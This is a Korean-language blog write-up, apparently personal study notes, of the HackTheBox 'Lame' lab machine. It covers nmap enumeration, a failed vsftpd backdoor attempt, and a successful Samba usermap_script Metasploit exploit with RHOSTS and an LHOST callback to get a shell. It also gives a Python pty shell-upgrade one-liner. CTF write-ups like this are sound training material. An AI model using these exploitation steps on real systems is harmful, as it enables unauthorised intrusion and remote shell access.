[출처 : https://jaimelightfoot.com/blog/hackthebox-lame-retired-walkthrough/ ]
이 색깔이 궁금한 점
nmap 결과
21 - vsftpd
22 - ssh
139, 445 - samba
하나씩 해봐야 할 듯
1. vsftpd
search vsftpd
exploit/unix/ftp/vsftpd_234_backdoor 이거 하나 나온다.
그걸로 exploit 실시
결과가 이렇게 나오는데 이게 취약하지 않다는 건지, 아니면 그냥 내가 실패한 건지 모르겠다.
풀이1 보니까 유용한 것을 찾을 수 없기 때문에 vsftpd는 넘어간다고 써져있다.
2. ssh
풀이1에 따르면
search ssh를 했을때 마땅한 exploit 모듈이 없기 때문에 그냥 넘어간다고 써져있다.
마땅한 exploit 모듈인지 아닌지 어떻게 알지?
3. samba
search samba type:exploit
많은 모듈들이 나온다. 일단, 이 중에서 버전 안 맞는 것들 몇 개 거르고, 남은 것 중 뭘 택할 것인가?
search한 결과에 Rank가 표시되는데, 여기서 excellent부터 해본다.
여러 모듈이 있을땐 이렇게 고를 수 있구나
(1) is_known_pipename을 먼저 골랐다.
use ~
show info에서 description을 볼 수 있는데,
이런 문구를 볼 수 있다.
하지만 우린 valid credentials, writeable folder... 이런 것들이 없으므로 이 모듈을 쓰는게 아닌 것 같다. 다음으로 넘어간다.
(2) usermap_script
똑같이 show info를 봤더니, no authentication 이라고 나온다. 이걸 해보면 되겠다.
show options
set RHOSTS 10.10.10.3
set LHOST 10.10.14.14(vpn으로 할당받은 ip)
exploit
ls 찍으면 쉘 딴 걸 확인할 수 있다.
뒤져서 user.txt root.txt 찾으면 된다.
* 참고
쉘을 따긴 했는데 달러 표시 같은 것도 안나오고 보기 불편하다면,
python -c 'import pty; pty.spawn("/bin/sh")'를 입력하면 된다.
홈페이지에서는 cms exploit 이라며
https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=choda100&logNo=220824985073
vsftpd 설치하기
칼리 리눅스(Kali Linex): vsftpd 설치하기 1. 설치 2. 설정파일 수정 3. root의 권한 설정 -> /etc/f...
blog.naver.com
풀이1
https://jaimelightfoot.com/blog/hackthebox-lame-retired-walkthrough/
풀이2
https://infosecwriteups.com/htb-lame-writeup-e47100aea88b
'워게임 > hackthebox' 카테고리의 다른 글
hackthebox - machines - Cap (0) | 2021.07.14 |
---|---|
[풀이X삽질O]hackthebox - machines - cap (0) | 2021.07.11 |
[풀이X삽질O]hackthebox - pwn with metasploit - lame (0) | 2021.07.11 |
hackthebox - blue (0) | 2021.07.11 |
[풀이X삽질O]hackthebox - pwn with metasploit - blue (0) | 2021.07.09 |
댓글